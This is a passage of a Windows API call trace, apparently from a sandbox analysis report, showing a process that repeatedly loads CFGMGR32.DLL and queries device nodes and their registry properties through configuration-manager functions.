Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.843] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31b0b984, dwHighDateTime=0x1d9eb0c)) [0197.843] SetEvent (hEvent=0x248) returned 1 [0197.847] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.847] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.851] malloc (_Size=0x18) returned 0x20abc281aa0 [0197.851] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0197.851] malloc (_Size=0x48) returned 0x20abc27cf80 [0197.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x31b0b984, dwHighDateTime=0x1d9eb0c)) [0197.851] SetEvent (hEvent=0x248) returned 1 [0197.855] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.855] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.857] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.858] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.859] malloc (_Size=0x18) returned 0x20abc282040 [0197.859] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0197.859] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x31b31c36, dwHighDateTime=0x1d9eb0c)) [0197.859] SetEvent (hEvent=0x248) returned 1 [0197.864] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.864] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.866] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.867] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.867] malloc (_Size=0x18) returned 0x20abc281ae0 [0197.867] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0197.867] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31b31c36, dwHighDateTime=0x1d9eb0c)) [0197.868] SetEvent (hEvent=0x248) returned 1 [0197.871] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.872] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.872] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.875] malloc (_Size=0x18) returned 0x20abc281fa0 [0197.875] CM_Get_Device_IDA (in: dnDevInst=0x1c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\GPE0_RESOURCES") returned 0x0 [0197.875] malloc (_Size=0x48) returned 0x20abc27cf80 [0197.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x31b580cc, dwHighDateTime=0x1d9eb0c)) [0197.875] SetEvent (hEvent=0x248) returned 1 [0197.878] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.878] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.880] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.881] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.881] malloc (_Size=0x18) returned 0x20abc281960 [0197.882] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0197.882] malloc (_Size=0x5a) returned 0x20abc280450 [0197.882] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280450, pulLength=0x2dc22fd3f8) returned 0x0 [0197.883] free (_Block=0x20abc280450) [0197.883] malloc (_Size=0x48) returned 0x20abc27cf80 [0197.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x31b580cc, dwHighDateTime=0x1d9eb0c)) [0197.883] SetEvent (hEvent=0x248) returned 1 [0197.885] malloc (_Size=0x18) returned 0x20abc281f20 [0197.885] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0197.885] free (_Block=0x20abc281f20) [0197.886] malloc (_Size=0x18) returned 0x20abc281ba0 [0197.886] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0197.886] free (_Block=0x20abc281ba0) [0197.886] malloc (_Size=0x18) returned 0x20abc281e80 [0197.886] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0197.886] free (_Block=0x20abc281e80) [0197.886] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0197.886] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0197.886] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0197.886] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0197.886] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0197.886] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0197.886] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0197.886] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0197.886] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0197.887] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0197.887] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0197.887] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93500, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0197.887] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0197.888] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0197.888] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.888] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.891] malloc (_Size=0x18) returned 0x20abc281c60 [0197.891] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0197.892] malloc (_Size=0x48) returned 0x20abc27cf80 [0197.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x31b7e037, dwHighDateTime=0x1d9eb0c)) [0197.892] SetEvent (hEvent=0x248) returned 1 [0198.002] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.002] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0198.003] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0198.004] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0198.005] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0198.006] malloc (_Size=0x18) returned 0x20abc281a20 [0198.006] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0198.010] malloc (_Size=0x48) returned 0x20abc2a8370 [0198.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31caf276, dwHighDateTime=0x1d9eb0c)) [0198.011] SetEvent (hEvent=0x248) returned 1 [0198.014] malloc (_Size=0xd8) returned 0x20abc2867b0 [0198.014] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0198.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0198.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0198.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0198.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0198.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 